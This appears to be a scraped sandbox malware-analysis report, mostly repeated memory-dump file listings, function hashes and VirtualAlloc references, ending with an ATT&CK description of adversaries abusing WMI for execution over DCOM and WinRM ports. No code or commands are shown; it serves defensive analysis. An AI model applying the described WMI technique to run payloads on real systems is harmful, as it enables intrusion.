Associated: 00000007.00000002.1710858461.0000000000773000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710890466.00000000007A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710912000.00000000007A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710932392.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710957346.00000000007A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711036973.00000000007C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711059398.00000000007CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_510000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8bc9df4455ee3f9be0aa741967fc9d3f898edfdb20a8eace8e32bf92eabaa313
Instruction ID: a0079a3b2fba9c827dfbcec689d0de6e17a4b72832cd848d40ab52a18a4a1787
Opcode Fuzzy Hash: 8bc9df4455ee3f9be0aa741967fc9d3f898edfdb20a8eace8e32bf92eabaa313
Instruction Fuzzy Hash: D8F062B290C600EBD718BF28D85173EF3E9AB14710F16482D9BC693390E6352C518A47

Function 0051E6F5 Relevance: 1.3, APIs: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0051F891

Memory Dump Source

Source File: 00000007.00000002.1709958098.000000000051A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00510000, based on PE: true

Associated: 00000007.00000002.1709885478.0000000000510000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709913712.0000000000512000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709936062.0000000000516000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709981900.0000000000524000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710005198.0000000000525000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710027051.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710135380.0000000000680000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710158876.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710186296.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710206552.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.000000000069F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.00000000006A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710272745.00000000006BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710294891.00000000006BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710320222.00000000006BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710343784.00000000006C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710368916.00000000006D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710391054.00000000006D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710412411.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710433687.00000000006E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710457368.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710480267.00000000006FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710502909.00000000006FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710529593.00000000006FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710551725.0000000000709000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710572294.000000000070D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710592481.000000000070E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710614744.0000000000716000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710633602.0000000000717000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710654424.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710675286.0000000000726000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710698099.0000000000727000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710722075.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710745247.0000000000748000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710766174.0000000000751000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710786060.0000000000753000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710815276.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710858461.0000000000773000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710890466.00000000007A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710912000.00000000007A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710932392.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710957346.00000000007A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711036973.00000000007C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711059398.00000000007CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_510000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4e2105ccb2e483e0738a67ae9fa2120659b5c69d3b1e7bcef1e94af2183f1ebc
Instruction ID: 180372ba9f94b9f5077b01f919bcba71ccb08b47c149b78d3be9e247e2d515bd
Opcode Fuzzy Hash: 4e2105ccb2e483e0738a67ae9fa2120659b5c69d3b1e7bcef1e94af2183f1ebc
Instruction Fuzzy Hash: 650128BB50C20DCFE708DE2488181FDBAD5FFA6310F660A2D986707A84FE3248919341

Function 0051F1B6 Relevance: 1.3, APIs: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0051F1BB

Memory Dump Source

Source File: 00000007.00000002.1709958098.000000000051A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00510000, based on PE: true

Associated: 00000007.00000002.1709885478.0000000000510000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709913712.0000000000512000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709936062.0000000000516000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709981900.0000000000524000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710005198.0000000000525000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710027051.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710135380.0000000000680000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710158876.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710186296.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710206552.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.000000000069F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.00000000006A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710272745.00000000006BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710294891.00000000006BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710320222.00000000006BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710343784.00000000006C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710368916.00000000006D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710391054.00000000006D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710412411.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710433687.00000000006E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710457368.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710480267.00000000006FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710502909.00000000006FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710529593.00000000006FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710551725.0000000000709000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710572294.000000000070D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710592481.000000000070E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710614744.0000000000716000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710633602.0000000000717000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710654424.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710675286.0000000000726000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710698099.0000000000727000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710722075.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710745247.0000000000748000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710766174.0000000000751000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710786060.0000000000753000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710815276.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710858461.0000000000773000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710890466.00000000007A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710912000.00000000007A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710932392.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710957346.00000000007A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711036973.00000000007C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711059398.00000000007CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_510000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e6025b10e1ddac9b081a6df31cd939e335d443493ae946c22cb8e2f60dbd3a59
Instruction ID: 2ee48a9f995ab03f5cae001f9b46bc2465bb635695a4701d02dfa3dae5a4c02e
Opcode Fuzzy Hash: e6025b10e1ddac9b081a6df31cd939e335d443493ae946c22cb8e2f60dbd3a59
Instruction Fuzzy Hash: 46D092B5108309AFE7415F648CC9BBEBAE8EB18308F400928EE8581640DA324C50EB1A

Non-executed Functions

Function 0069E803 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1710206552.000000000069C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00510000, based on PE: true

Associated: 00000007.00000002.1709885478.0000000000510000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709913712.0000000000512000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709936062.0000000000516000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709958098.000000000051A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709981900.0000000000524000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710005198.0000000000525000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710027051.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710135380.0000000000680000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710158876.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710186296.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.000000000069F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.00000000006A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710272745.00000000006BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710294891.00000000006BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710320222.00000000006BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710343784.00000000006C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710368916.00000000006D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710391054.00000000006D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710412411.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710433687.00000000006E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710457368.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710480267.00000000006FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710502909.00000000006FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710529593.00000000006FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710551725.0000000000709000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710572294.000000000070D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710592481.000000000070E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710614744.0000000000716000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710633602.0000000000717000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710654424.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710675286.0000000000726000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710698099.0000000000727000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710722075.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710745247.0000000000748000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710766174.0000000000751000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710786060.0000000000753000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710815276.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710858461.0000000000773000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710890466.00000000007A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710912000.00000000007A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710932392.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710957346.00000000007A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711036973.00000000007C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711059398.00000000007CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_510000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fa3fd9f1fb2a1ef1039fdc82efa35c29c780fa8603977d97043cb0f4850430f
Instruction ID: 4107900eadf8cb0608a7f3bf9298b566e25f148c8656ecdf909d7129a3fc91ae
Opcode Fuzzy Hash: 4fa3fd9f1fb2a1ef1039fdc82efa35c29c780fa8603977d97043cb0f4850430f
Instruction Fuzzy Hash: 6441C7F360C210AFE305AE59DD416BEF7E9EBC4721F26882EE6C5C3610D63458418BA7

Function 0069E142 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1710206552.000000000069C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00510000, based on PE: true

Associated: 00000007.00000002.1709885478.0000000000510000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709913712.0000000000512000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709936062.0000000000516000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709958098.000000000051A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709981900.0000000000524000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710005198.0000000000525000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710027051.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710135380.0000000000680000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710158876.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710186296.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.000000000069F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.00000000006A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710272745.00000000006BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710294891.00000000006BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710320222.00000000006BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710343784.00000000006C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710368916.00000000006D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710391054.00000000006D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710412411.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710433687.00000000006E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710457368.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710480267.00000000006FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710502909.00000000006FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710529593.00000000006FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710551725.0000000000709000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710572294.000000000070D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710592481.000000000070E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710614744.0000000000716000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710633602.0000000000717000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710654424.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710675286.0000000000726000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710698099.0000000000727000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710722075.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710745247.0000000000748000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710766174.0000000000751000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710786060.0000000000753000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710815276.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710858461.0000000000773000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710890466.00000000007A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710912000.00000000007A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710932392.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710957346.00000000007A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711036973.00000000007C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711059398.00000000007CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_510000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed8aebc00e71afde0734f4841cc09326646db4d03bf0efea5a481aee6c1f3f1c
Instruction ID: b514db940349d80ba38fc118939169164d9ff60cb7bdfb2095a98c797e0d1662
Opcode Fuzzy Hash: ed8aebc00e71afde0734f4841cc09326646db4d03bf0efea5a481aee6c1f3f1c
Instruction Fuzzy Hash: 5341E0B390C710AFE705AF18D8466BABBF4EF85360F16882EEAC4C3641D2354844CB93

Function 006B425C Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1710226864.00000000006A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00510000, based on PE: true

Associated: 00000007.00000002.1709885478.0000000000510000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709913712.0000000000512000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709936062.0000000000516000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709958098.000000000051A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1709981900.0000000000524000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710005198.0000000000525000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710027051.0000000000526000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710135380.0000000000680000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710158876.0000000000682000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710186296.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710206552.000000000069C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710226864.000000000069F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710272745.00000000006BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710294891.00000000006BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710320222.00000000006BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710343784.00000000006C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710368916.00000000006D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710391054.00000000006D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710412411.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710433687.00000000006E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710457368.00000000006F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710480267.00000000006FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710502909.00000000006FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710529593.00000000006FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710551725.0000000000709000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710572294.000000000070D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710592481.000000000070E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710614744.0000000000716000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710633602.0000000000717000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710654424.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710675286.0000000000726000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710698099.0000000000727000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710722075.000000000073E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710745247.0000000000748000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710766174.0000000000751000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710786060.0000000000753000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710815276.0000000000772000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710858461.0000000000773000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710890466.00000000007A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710912000.00000000007A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710932392.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710957346.00000000007A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007B1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1710980822.00000000007BA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711036973.00000000007C8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1711059398.00000000007CA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_510000_IC79VITF07QUR284C1B5QWCEACP3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction ID: d473c3953007c87d4adf454f2104d86f12db81b73b220387ff70750521a3e3b9
Opcode Fuzzy Hash: bec5a7dc111117f9e93db37e1c292de0360e00543522db48dc232e937dec8d55
Instruction Fuzzy Hash: C4E04F761041059AD7009F54C84599FFBF5FF19311F218845E484CB722C6764D41C729

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

